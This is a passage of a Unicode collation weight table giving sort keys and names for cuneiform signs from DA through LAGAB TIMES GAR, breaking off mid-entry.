+12055 ; [.4873.0020.0002] # CUNEIFORM SIGN DA +12056 ; [.4874.0020.0002] # CUNEIFORM SIGN DAG +12057 ; [.4875.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES A PLUS MASH +12058 ; [.4876.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES AMAR +12059 ; [.4877.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BALAG +1205A ; [.4878.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES BI +1205B ; [.4879.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA +1205C ; [.487A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GA PLUS MASH +1205D ; [.487B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GI +1205E ; [.487C.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GIR2 +1205F ; [.487D.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES GUD +12060 ; [.487E.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES HA +12061 ; [.487F.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR +12062 ; [.4880.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES IR PLUS LU +12063 ; [.4881.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES KAK +12064 ; [.4882.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LA +12065 ; [.4883.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU +12066 ; [.4884.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LU PLUS MASH2 +12067 ; [.4885.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES LUM +12068 ; [.4886.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES NE +12069 ; [.4887.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES PAP PLUS PAP +1206A ; [.4888.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES SI +1206B ; [.4889.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES TAK4 +1206C ; [.488A.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS GIR2 +1206D ; [.488B.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES USH +1206E ; [.488C.0020.0002] # CUNEIFORM SIGN DAM +1206F ; [.488D.0020.0002] # CUNEIFORM SIGN DAR +12070 ; [.488E.0020.0002] # CUNEIFORM SIGN DARA3 +12071 ; [.488F.0020.0002] # CUNEIFORM SIGN DARA4 +12072 ; [.4890.0020.0002] # CUNEIFORM SIGN DI +12073 ; [.4891.0020.0002] # CUNEIFORM SIGN DIB +12074 ; [.4892.0020.0002] # CUNEIFORM SIGN DIM +12075 ; [.4893.0020.0002] # CUNEIFORM SIGN DIM TIMES SHE +12076 ; [.4894.0020.0002] # CUNEIFORM SIGN DIM2 +12077 ; [.4895.0020.0002] # CUNEIFORM SIGN DIN +12078 ; [.4896.0020.0002] # CUNEIFORM SIGN DIN KASKAL U GUNU DISH +12079 ; [.4897.0020.0002] # CUNEIFORM SIGN DISH +1207A ; [.4898.0020.0002] # CUNEIFORM SIGN DU +1207B ; [.4899.0020.0002] # CUNEIFORM SIGN DU OVER DU +1207C ; [.489A.0020.0002] # CUNEIFORM SIGN DU GUNU +1207D ; [.489B.0020.0002] # CUNEIFORM SIGN DU SHESHIG +1207E ; [.489C.0020.0002] # CUNEIFORM SIGN DUB +1207F ; [.489D.0020.0002] # CUNEIFORM SIGN DUB TIMES ESH2 +12080 ; [.489E.0020.0002] # CUNEIFORM SIGN DUB2 +12081 ; [.489F.0020.0002] # CUNEIFORM SIGN DUG +12082 ; [.48A0.0020.0002] # CUNEIFORM SIGN DUGUD +12083 ; [.48A1.0020.0002] # CUNEIFORM SIGN DUH +12084 ; [.48A2.0020.0002] # CUNEIFORM SIGN DUN +12085 ; [.48A3.0020.0002] # CUNEIFORM SIGN DUN3 +12086 ; [.48A4.0020.0002] # CUNEIFORM SIGN DUN3 GUNU +12087 ; [.48A5.0020.0002] # CUNEIFORM SIGN DUN3 GUNU GUNU +12088 ; [.48A6.0020.0002] # CUNEIFORM SIGN DUN4 +12089 ; [.48A7.0020.0002] # CUNEIFORM SIGN DUR2 +1208A ; [.48A8.0020.0002] # CUNEIFORM SIGN E +1208B ; [.48A9.0020.0002] # CUNEIFORM SIGN E TIMES PAP +1208C ; [.48AA.0020.0002] # CUNEIFORM SIGN E OVER E NUN OVER NUN +1208D ; [.48AB.0020.0002] # CUNEIFORM SIGN E2 +1208E ; [.48AC.0020.0002] # CUNEIFORM SIGN E2 TIMES A PLUS HA PLUS DA +1208F ; [.48AD.0020.0002] # CUNEIFORM SIGN E2 TIMES GAR +12090 ; [.48AE.0020.0002] # CUNEIFORM SIGN E2 TIMES MI +12091 ; [.48AF.0020.0002] # CUNEIFORM SIGN E2 TIMES SAL +12092 ; [.48B0.0020.0002] # CUNEIFORM SIGN E2 TIMES SHE +12093 ; [.48B1.0020.0002] # CUNEIFORM SIGN E2 TIMES U +12094 ; [.48B2.0020.0002] # CUNEIFORM SIGN EDIN +12095 ; [.48B3.0020.0002] # CUNEIFORM SIGN EGIR +12096 ; [.48B4.0020.0002] # CUNEIFORM SIGN EL +12097 ; [.48B5.0020.0002] # CUNEIFORM SIGN EN +12098 ; [.48B6.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 +12099 ; [.48B7.0020.0002] # CUNEIFORM SIGN EN TIMES GAN2 TENU +1209A ; [.48B8.0020.0002] # CUNEIFORM SIGN EN TIMES ME +1209B ; [.48B9.0020.0002] # CUNEIFORM SIGN EN CROSSING EN +1209C ; [.48BA.0020.0002] # CUNEIFORM SIGN EN OPPOSING EN +1209D ; [.48BB.0020.0002] # CUNEIFORM SIGN EN SQUARED +1209E ; [.48BC.0020.0002] # CUNEIFORM SIGN EREN +1209F ; [.48BD.0020.0002] # CUNEIFORM SIGN ERIN2 +120A0 ; [.48BE.0020.0002] # CUNEIFORM SIGN ESH2 +120A1 ; [.48BF.0020.0002] # CUNEIFORM SIGN EZEN +120A2 ; [.48C0.0020.0002] # CUNEIFORM SIGN EZEN TIMES A +120A3 ; [.48C1.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL +120A4 ; [.48C2.0020.0002] # CUNEIFORM SIGN EZEN TIMES A PLUS LAL TIMES LAL +120A5 ; [.48C3.0020.0002] # CUNEIFORM SIGN EZEN TIMES AN +120A6 ; [.48C4.0020.0002] # CUNEIFORM SIGN EZEN TIMES BAD +120A7 ; [.48C5.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU +120A8 ; [.48C6.0020.0002] # CUNEIFORM SIGN EZEN TIMES DUN3 GUNU GUNU +120A9 ; [.48C7.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA +120AA ; [.48C8.0020.0002] # CUNEIFORM SIGN EZEN TIMES HA GUNU +120AB ; [.48C9.0020.0002] # CUNEIFORM SIGN EZEN TIMES IGI GUNU +120AC ; [.48CA.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL +120AD ; [.48CB.0020.0002] # CUNEIFORM SIGN EZEN TIMES KASKAL SQUARED +120AE ; [.48CC.0020.0002] # CUNEIFORM SIGN EZEN TIMES KU3 +120AF ; [.48CD.0020.0002] # CUNEIFORM SIGN EZEN TIMES LA +120B0 ; [.48CE.0020.0002] # CUNEIFORM SIGN EZEN TIMES LAL TIMES LAL +120B1 ; [.48CF.0020.0002] # CUNEIFORM SIGN EZEN TIMES LI +120B2 ; [.48D0.0020.0002] # CUNEIFORM SIGN EZEN TIMES LU +120B3 ; [.48D1.0020.0002] # CUNEIFORM SIGN EZEN TIMES U2 +120B4 ; [.48D2.0020.0002] # CUNEIFORM SIGN EZEN TIMES UD +120B5 ; [.48D3.0020.0002] # CUNEIFORM SIGN GA +120B6 ; [.48D4.0020.0002] # CUNEIFORM SIGN GA GUNU +120B7 ; [.48D5.0020.0002] # CUNEIFORM SIGN GA2 +120B8 ; [.48D6.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS DA PLUS HA +120B9 ; [.48D7.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS HA +120BA ; [.48D8.0020.0002] # CUNEIFORM SIGN GA2 TIMES A PLUS IGI +120BB ; [.48D9.0020.0002] # CUNEIFORM SIGN GA2 TIMES AB2 TENU PLUS TAB +120BC ; [.48DA.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN +120BD ; [.48DB.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH +120BE ; [.48DC.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 PLUS GAL +120BF ; [.48DD.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAD +120C0 ; [.48DE.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAR PLUS RA +120C1 ; [.48DF.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR +120C2 ; [.48E0.0020.0002] # CUNEIFORM SIGN GA2 TIMES BUR PLUS RA +120C3 ; [.48E1.0020.0002] # CUNEIFORM SIGN GA2 TIMES DA +120C4 ; [.48E2.0020.0002] # CUNEIFORM SIGN GA2 TIMES DI +120C5 ; [.48E3.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM TIMES SHE +120C6 ; [.48E4.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUB +120C7 ; [.48E5.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL +120C8 ; [.48E6.0020.0002] # CUNEIFORM SIGN GA2 TIMES EL PLUS LA +120C9 ; [.48E7.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN +120CA ; [.48E8.0020.0002] # CUNEIFORM SIGN GA2 TIMES EN TIMES GAN2 TENU +120CB ; [.48E9.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAN2 TENU +120CC ; [.48EA.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR +120CD ; [.48EB.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI +120CE ; [.48EC.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 +120CF ; [.48ED.0020.0002] # CUNEIFORM SIGN GA2 TIMES GI4 PLUS A +120D0 ; [.48EE.0020.0002] # CUNEIFORM SIGN GA2 TIMES GIR2 PLUS SU +120D1 ; [.48EF.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS LU PLUS ESH2 +120D2 ; [.48F0.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL +120D3 ; [.48F1.0020.0002] # CUNEIFORM SIGN GA2 TIMES HAL PLUS LA +120D4 ; [.48F2.0020.0002] # CUNEIFORM SIGN GA2 TIMES HI PLUS LI +120D5 ; [.48F3.0020.0002] # CUNEIFORM SIGN GA2 TIMES HUB2 +120D6 ; [.48F4.0020.0002] # CUNEIFORM SIGN GA2 TIMES IGI GUNU +120D7 ; [.48F5.0020.0002] # CUNEIFORM SIGN GA2 TIMES ISH PLUS HU PLUS ASH +120D8 ; [.48F6.0020.0002] # CUNEIFORM SIGN GA2 TIMES KAK +120D9 ; [.48F7.0020.0002] # CUNEIFORM SIGN GA2 TIMES KASKAL +120DA ; [.48F8.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID +120DB ; [.48F9.0020.0002] # CUNEIFORM SIGN GA2 TIMES KID PLUS LAL +120DC ; [.48FA.0020.0002] # CUNEIFORM SIGN GA2 TIMES KU3 PLUS AN +120DD ; [.48FB.0020.0002] # CUNEIFORM SIGN GA2 TIMES LA +120DE ; [.48FC.0020.0002] # CUNEIFORM SIGN GA2 TIMES ME PLUS EN +120DF ; [.48FD.0020.0002] # CUNEIFORM SIGN GA2 TIMES MI +120E0 ; [.48FE.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN +120E1 ; [.48FF.0020.0002] # CUNEIFORM SIGN GA2 TIMES NUN OVER NUN +120E2 ; [.4900.0020.0002] # CUNEIFORM SIGN GA2 TIMES PA +120E3 ; [.4901.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAL +120E4 ; [.4902.0020.0002] # CUNEIFORM SIGN GA2 TIMES SAR +120E5 ; [.4903.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE +120E6 ; [.4904.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHE PLUS TUR +120E7 ; [.4905.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHID +120E8 ; [.4906.0020.0002] # CUNEIFORM SIGN GA2 TIMES SUM +120E9 ; [.4907.0020.0002] # CUNEIFORM SIGN GA2 TIMES TAK4 +120EA ; [.4908.0020.0002] # CUNEIFORM SIGN GA2 TIMES U +120EB ; [.4909.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD +120EC ; [.490A.0020.0002] # CUNEIFORM SIGN GA2 TIMES UD PLUS DU +120ED ; [.490B.0020.0002] # CUNEIFORM SIGN GA2 OVER GA2 +120EE ; [.490C.0020.0002] # CUNEIFORM SIGN GABA +120EF ; [.490D.0020.0002] # CUNEIFORM SIGN GABA CROSSING GABA +120F0 ; [.490E.0020.0002] # CUNEIFORM SIGN GAD +120F1 ; [.490F.0020.0002] # CUNEIFORM SIGN GAD OVER GAD GAR OVER GAR +120F2 ; [.4910.0020.0002] # CUNEIFORM SIGN GAL +120F3 ; [.4911.0020.0002] # CUNEIFORM SIGN GAL GAD OVER GAD GAR OVER GAR +120F4 ; [.4912.0020.0002] # CUNEIFORM SIGN GALAM +120F5 ; [.4913.0020.0002] # CUNEIFORM SIGN GAM +120F6 ; [.4914.0020.0002] # CUNEIFORM SIGN GAN +120F7 ; [.4915.0020.0002] # CUNEIFORM SIGN GAN2 +120F8 ; [.4916.0020.0002] # CUNEIFORM SIGN GAN2 TENU +120F9 ; [.4917.0020.0002] # CUNEIFORM SIGN GAN2 OVER GAN2 +120FA ; [.4918.0020.0002] # CUNEIFORM SIGN GAN2 CROSSING GAN2 +120FB ; [.4919.0020.0002] # CUNEIFORM SIGN GAR +120FC ; [.491A.0020.0002] # CUNEIFORM SIGN GAR3 +120FD ; [.491B.0020.0002] # CUNEIFORM SIGN GASHAN +120FE ; [.491C.0020.0002] # CUNEIFORM SIGN GESHTIN +120FF ; [.491D.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES KUR +12100 ; [.491E.0020.0002] # CUNEIFORM SIGN GI +12101 ; [.491F.0020.0002] # CUNEIFORM SIGN GI TIMES E +12102 ; [.4920.0020.0002] # CUNEIFORM SIGN GI TIMES U +12103 ; [.4921.0020.0002] # CUNEIFORM SIGN GI CROSSING GI +12104 ; [.4922.0020.0002] # CUNEIFORM SIGN GI4 +12105 ; [.4923.0020.0002] # CUNEIFORM SIGN GI4 OVER GI4 +12106 ; [.4924.0020.0002] # CUNEIFORM SIGN GI4 CROSSING GI4 +12107 ; [.4925.0020.0002] # CUNEIFORM SIGN GIDIM +12108 ; [.4926.0020.0002] # CUNEIFORM SIGN GIR2 +12109 ; [.4927.0020.0002] # CUNEIFORM SIGN GIR2 GUNU +1210A ; [.4928.0020.0002] # CUNEIFORM SIGN GIR3 +1210B ; [.4929.0020.0002] # CUNEIFORM SIGN GIR3 TIMES A PLUS IGI +1210C ; [.492A.0020.0002] # CUNEIFORM SIGN GIR3 TIMES GAN2 TENU +1210D ; [.492B.0020.0002] # CUNEIFORM SIGN GIR3 TIMES IGI +1210E ; [.492C.0020.0002] # CUNEIFORM SIGN GIR3 TIMES LU PLUS IGI +1210F ; [.492D.0020.0002] # CUNEIFORM SIGN GIR3 TIMES PA +12110 ; [.492E.0020.0002] # CUNEIFORM SIGN GISAL +12111 ; [.492F.0020.0002] # CUNEIFORM SIGN GISH +12112 ; [.4930.0020.0002] # CUNEIFORM SIGN GISH CROSSING GISH +12113 ; [.4931.0020.0002] # CUNEIFORM SIGN GISH TIMES BAD +12114 ; [.4932.0020.0002] # CUNEIFORM SIGN GISH TIMES TAK4 +12115 ; [.4933.0020.0002] # CUNEIFORM SIGN GISH TENU +12116 ; [.4934.0020.0002] # CUNEIFORM SIGN GU +12117 ; [.4935.0020.0002] # CUNEIFORM SIGN GU CROSSING GU +12118 ; [.4936.0020.0002] # CUNEIFORM SIGN GU2 +12119 ; [.4937.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK +1211A ; [.4938.0020.0002] # CUNEIFORM SIGN GU2 TIMES KAK TIMES IGI GUNU +1211B ; [.4939.0020.0002] # CUNEIFORM SIGN GU2 TIMES NUN +1211C ; [.493A.0020.0002] # CUNEIFORM SIGN GU2 TIMES SAL PLUS TUG2 +1211D ; [.493B.0020.0002] # CUNEIFORM SIGN GU2 GUNU +1211E ; [.493C.0020.0002] # CUNEIFORM SIGN GUD +1211F ; [.493D.0020.0002] # CUNEIFORM SIGN GUD TIMES A PLUS KUR +12120 ; [.493E.0020.0002] # CUNEIFORM SIGN GUD TIMES KUR +12121 ; [.493F.0020.0002] # CUNEIFORM SIGN GUD OVER GUD LUGAL +12122 ; [.4940.0020.0002] # CUNEIFORM SIGN GUL +12123 ; [.4941.0020.0002] # CUNEIFORM SIGN GUM +12124 ; [.4942.0020.0002] # CUNEIFORM SIGN GUM TIMES SHE +12125 ; [.4943.0020.0002] # CUNEIFORM SIGN GUR +12126 ; [.4944.0020.0002] # CUNEIFORM SIGN GUR7 +12127 ; [.4945.0020.0002] # CUNEIFORM SIGN GURUN +12128 ; [.4946.0020.0002] # CUNEIFORM SIGN GURUSH +12129 ; [.4947.0020.0002] # CUNEIFORM SIGN HA +1212A ; [.4948.0020.0002] # CUNEIFORM SIGN HA TENU +1212B ; [.4949.0020.0002] # CUNEIFORM SIGN HA GUNU +1212C ; [.494A.0020.0002] # CUNEIFORM SIGN HAL +1212D ; [.494B.0020.0002] # CUNEIFORM SIGN HI +1212E ; [.494C.0020.0002] # CUNEIFORM SIGN HI TIMES ASH +1212F ; [.494D.0020.0002] # CUNEIFORM SIGN HI TIMES ASH2 +12130 ; [.494E.0020.0002] # CUNEIFORM SIGN HI TIMES BAD +12131 ; [.494F.0020.0002] # CUNEIFORM SIGN HI TIMES DISH +12132 ; [.4950.0020.0002] # CUNEIFORM SIGN HI TIMES GAD +12133 ; [.4951.0020.0002] # CUNEIFORM SIGN HI TIMES KIN +12134 ; [.4952.0020.0002] # CUNEIFORM SIGN HI TIMES NUN +12135 ; [.4953.0020.0002] # CUNEIFORM SIGN HI TIMES SHE +12136 ; [.4954.0020.0002] # CUNEIFORM SIGN HI TIMES U +12137 ; [.4955.0020.0002] # CUNEIFORM SIGN HU +12138 ; [.4956.0020.0002] # CUNEIFORM SIGN HUB2 +12139 ; [.4957.0020.0002] # CUNEIFORM SIGN HUB2 TIMES AN +1213A ; [.4958.0020.0002] # CUNEIFORM SIGN HUB2 TIMES HAL +1213B ; [.4959.0020.0002] # CUNEIFORM SIGN HUB2 TIMES KASKAL +1213C ; [.495A.0020.0002] # CUNEIFORM SIGN HUB2 TIMES LISH +1213D ; [.495B.0020.0002] # CUNEIFORM SIGN HUB2 TIMES UD +1213E ; [.495C.0020.0002] # CUNEIFORM SIGN HUL2 +1213F ; [.495D.0020.0002] # CUNEIFORM SIGN I +12140 ; [.495E.0020.0002] # CUNEIFORM SIGN I A +12141 ; [.495F.0020.0002] # CUNEIFORM SIGN IB +12142 ; [.4960.0020.0002] # CUNEIFORM SIGN IDIM +12143 ; [.4961.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM BUR +12144 ; [.4962.0020.0002] # CUNEIFORM SIGN IDIM OVER IDIM SQUARED +12145 ; [.4963.0020.0002] # CUNEIFORM SIGN IG +12146 ; [.4964.0020.0002] # CUNEIFORM SIGN IGI +12147 ; [.4965.0020.0002] # CUNEIFORM SIGN IGI DIB +12148 ; [.4966.0020.0002] # CUNEIFORM SIGN IGI RI +12149 ; [.4967.0020.0002] # CUNEIFORM SIGN IGI OVER IGI SHIR OVER SHIR UD OVER UD +1214A ; [.4968.0020.0002] # CUNEIFORM SIGN IGI GUNU +1214B ; [.4969.0020.0002] # CUNEIFORM SIGN IL +1214C ; [.496A.0020.0002] # CUNEIFORM SIGN IL TIMES GAN2 TENU +1214D ; [.496B.0020.0002] # CUNEIFORM SIGN IL2 +1214E ; [.496C.0020.0002] # CUNEIFORM SIGN IM +1214F ; [.496D.0020.0002] # CUNEIFORM SIGN IM TIMES TAK4 +12150 ; [.496E.0020.0002] # CUNEIFORM SIGN IM CROSSING IM +12151 ; [.496F.0020.0002] # CUNEIFORM SIGN IM OPPOSING IM +12152 ; [.4970.0020.0002] # CUNEIFORM SIGN IM SQUARED +12153 ; [.4971.0020.0002] # CUNEIFORM SIGN IMIN +12154 ; [.4972.0020.0002] # CUNEIFORM SIGN IN +12155 ; [.4973.0020.0002] # CUNEIFORM SIGN IR +12156 ; [.4974.0020.0002] # CUNEIFORM SIGN ISH +12157 ; [.4975.0020.0002] # CUNEIFORM SIGN KA +12158 ; [.4976.0020.0002] # CUNEIFORM SIGN KA TIMES A +12159 ; [.4977.0020.0002] # CUNEIFORM SIGN KA TIMES AD +1215A ; [.4978.0020.0002] # CUNEIFORM SIGN KA TIMES AD PLUS KU3 +1215B ; [.4979.0020.0002] # CUNEIFORM SIGN KA TIMES ASH2 +1215C ; [.497A.0020.0002] # CUNEIFORM SIGN KA TIMES BAD +1215D ; [.497B.0020.0002] # CUNEIFORM SIGN KA TIMES BALAG +1215E ; [.497C.0020.0002] # CUNEIFORM SIGN KA TIMES BAR +1215F ; [.497D.0020.0002] # CUNEIFORM SIGN KA TIMES BI +12160 ; [.497E.0020.0002] # CUNEIFORM SIGN KA TIMES ERIN2 +12161 ; [.497F.0020.0002] # CUNEIFORM SIGN KA TIMES ESH2 +12162 ; [.4980.0020.0002] # CUNEIFORM SIGN KA TIMES GA +12163 ; [.4981.0020.0002] # CUNEIFORM SIGN KA TIMES GAL +12164 ; [.4982.0020.0002] # CUNEIFORM SIGN KA TIMES GAN2 TENU +12165 ; [.4983.0020.0002] # CUNEIFORM SIGN KA TIMES GAR +12166 ; [.4984.0020.0002] # CUNEIFORM SIGN KA TIMES GAR PLUS SHA3 PLUS A +12167 ; [.4985.0020.0002] # CUNEIFORM SIGN KA TIMES GI +12168 ; [.4986.0020.0002] # CUNEIFORM SIGN KA TIMES GIR2 +12169 ; [.4987.0020.0002] # CUNEIFORM SIGN KA TIMES GISH PLUS SAR +1216A ; [.4988.0020.0002] # CUNEIFORM SIGN KA TIMES GISH CROSSING GISH +1216B ; [.4989.0020.0002] # CUNEIFORM SIGN KA TIMES GU +1216C ; [.498A.0020.0002] # CUNEIFORM SIGN KA TIMES GUR7 +1216D ; [.498B.0020.0002] # CUNEIFORM SIGN KA TIMES IGI +1216E ; [.498C.0020.0002] # CUNEIFORM SIGN KA TIMES IM +1216F ; [.498D.0020.0002] # CUNEIFORM SIGN KA TIMES KAK +12170 ; [.498E.0020.0002] # CUNEIFORM SIGN KA TIMES KI +12171 ; [.498F.0020.0002] # CUNEIFORM SIGN KA TIMES KID +12172 ; [.4990.0020.0002] # CUNEIFORM SIGN KA TIMES LI +12173 ; [.4991.0020.0002] # CUNEIFORM SIGN KA TIMES LU +12174 ; [.4992.0020.0002] # CUNEIFORM SIGN KA TIMES ME +12175 ; [.4993.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS DU +12176 ; [.4994.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS GI +12177 ; [.4995.0020.0002] # CUNEIFORM SIGN KA TIMES ME PLUS TE +12178 ; [.4996.0020.0002] # CUNEIFORM SIGN KA TIMES MI +12179 ; [.4997.0020.0002] # CUNEIFORM SIGN KA TIMES MI PLUS NUNUZ +1217A ; [.4998.0020.0002] # CUNEIFORM SIGN KA TIMES NE +1217B ; [.4999.0020.0002] # CUNEIFORM SIGN KA TIMES NUN +1217C ; [.499A.0020.0002] # CUNEIFORM SIGN KA TIMES PI +1217D ; [.499B.0020.0002] # CUNEIFORM SIGN KA TIMES RU +1217E ; [.499C.0020.0002] # CUNEIFORM SIGN KA TIMES SA +1217F ; [.499D.0020.0002] # CUNEIFORM SIGN KA TIMES SAR +12180 ; [.499E.0020.0002] # CUNEIFORM SIGN KA TIMES SHA +12181 ; [.499F.0020.0002] # CUNEIFORM SIGN KA TIMES SHE +12182 ; [.49A0.0020.0002] # CUNEIFORM SIGN KA TIMES SHID +12183 ; [.49A1.0020.0002] # CUNEIFORM SIGN KA TIMES SHU +12184 ; [.49A2.0020.0002] # CUNEIFORM SIGN KA TIMES SIG +12185 ; [.49A3.0020.0002] # CUNEIFORM SIGN KA TIMES SUHUR +12186 ; [.49A4.0020.0002] # CUNEIFORM SIGN KA TIMES TAR +12187 ; [.49A5.0020.0002] # CUNEIFORM SIGN KA TIMES U +12188 ; [.49A6.0020.0002] # CUNEIFORM SIGN KA TIMES U2 +12189 ; [.49A7.0020.0002] # CUNEIFORM SIGN KA TIMES UD +1218A ; [.49A8.0020.0002] # CUNEIFORM SIGN KA TIMES UMUM TIMES PA +1218B ; [.49A9.0020.0002] # CUNEIFORM SIGN KA TIMES USH +1218C ; [.49AA.0020.0002] # CUNEIFORM SIGN KA TIMES ZI +1218D ; [.49AB.0020.0002] # CUNEIFORM SIGN KA2 +1218E ; [.49AC.0020.0002] # CUNEIFORM SIGN KA2 CROSSING KA2 +1218F ; [.49AD.0020.0002] # CUNEIFORM SIGN KAB +12190 ; [.49AE.0020.0002] # CUNEIFORM SIGN KAD2 +12191 ; [.49AF.0020.0002] # CUNEIFORM SIGN KAD3 +12192 ; [.49B0.0020.0002] # CUNEIFORM SIGN KAD4 +12193 ; [.49B1.0020.0002] # CUNEIFORM SIGN KAD5 +12194 ; [.49B2.0020.0002] # CUNEIFORM SIGN KAD5 OVER KAD5 +12195 ; [.49B3.0020.0002] # CUNEIFORM SIGN KAK +12196 ; [.49B4.0020.0002] # CUNEIFORM SIGN KAK TIMES IGI GUNU +12197 ; [.49B5.0020.0002] # CUNEIFORM SIGN KAL +12198 ; [.49B6.0020.0002] # CUNEIFORM SIGN KAL TIMES BAD +12199 ; [.49B7.0020.0002] # CUNEIFORM SIGN KAL CROSSING KAL +1219A ; [.49B8.0020.0002] # CUNEIFORM SIGN KAM2 +1219B ; [.49B9.0020.0002] # CUNEIFORM SIGN KAM4 +1219C ; [.49BA.0020.0002] # CUNEIFORM SIGN KASKAL +1219D ; [.49BB.0020.0002] # CUNEIFORM SIGN KASKAL LAGAB TIMES U OVER LAGAB TIMES U +1219E ; [.49BC.0020.0002] # CUNEIFORM SIGN KASKAL OVER KASKAL LAGAB TIMES U OVER LAGAB TIMES U +1219F ; [.49BD.0020.0002] # CUNEIFORM SIGN KESH2 +121A0 ; [.49BE.0020.0002] # CUNEIFORM SIGN KI +121A1 ; [.49BF.0020.0002] # CUNEIFORM SIGN KI TIMES BAD +121A2 ; [.49C0.0020.0002] # CUNEIFORM SIGN KI TIMES U +121A3 ; [.49C1.0020.0002] # CUNEIFORM SIGN KI TIMES UD +121A4 ; [.49C2.0020.0002] # CUNEIFORM SIGN KID +121A5 ; [.49C3.0020.0002] # CUNEIFORM SIGN KIN +121A6 ; [.49C4.0020.0002] # CUNEIFORM SIGN KISAL +121A7 ; [.49C5.0020.0002] # CUNEIFORM SIGN KISH +121A8 ; [.49C6.0020.0002] # CUNEIFORM SIGN KISIM5 +121A9 ; [.49C7.0020.0002] # CUNEIFORM SIGN KISIM5 OVER KISIM5 +121AA ; [.49C8.0020.0002] # CUNEIFORM SIGN KU +121AB ; [.49C9.0020.0002] # CUNEIFORM SIGN KU OVER HI TIMES ASH2 KU OVER HI TIMES ASH2 +121AC ; [.49CA.0020.0002] # CUNEIFORM SIGN KU3 +121AD ; [.49CB.0020.0002] # CUNEIFORM SIGN KU4 +121AE ; [.49CC.0020.0002] # CUNEIFORM SIGN KU4 VARIANT FORM +121AF ; [.49CD.0020.0002] # CUNEIFORM SIGN KU7 +121B0 ; [.49CE.0020.0002] # CUNEIFORM SIGN KUL +121B1 ; [.49CF.0020.0002] # CUNEIFORM SIGN KUL GUNU +121B2 ; [.49D0.0020.0002] # CUNEIFORM SIGN KUN +121B3 ; [.49D1.0020.0002] # CUNEIFORM SIGN KUR +121B4 ; [.49D2.0020.0002] # CUNEIFORM SIGN KUR OPPOSING KUR +121B5 ; [.49D3.0020.0002] # CUNEIFORM SIGN KUSHU2 +121B6 ; [.49D4.0020.0002] # CUNEIFORM SIGN KWU318 +121B7 ; [.49D5.0020.0002] # CUNEIFORM SIGN LA +121B8 ; [.49D6.0020.0002] # CUNEIFORM SIGN LAGAB +121B9 ; [.49D7.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A +121BA ; [.49D8.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS DA PLUS HA +121BB ; [.49D9.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS GAR +121BC ; [.49DA.0020.0002] # CUNEIFORM SIGN LAGAB TIMES A PLUS LAL +121BD ; [.49DB.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AL +121BE ; [.49DC.0020.0002] # CUNEIFORM SIGN LAGAB TIMES AN +121BF ; [.49DD.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ASH ZIDA TENU +121C0 ; [.49DE.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BAD +121C1 ; [.49DF.0020.0002] # CUNEIFORM SIGN LAGAB TIMES BI +121C2 ; [.49E0.0020.0002] # CUNEIFORM SIGN LAGAB TIMES DAR +121C3 ; [.49E1.0020.0002] # CUNEIFORM SIGN LAGAB TIMES EN +121C4 ; [.49E2.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GA +121C5 ; [.49E3.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GAR +121C6 ; 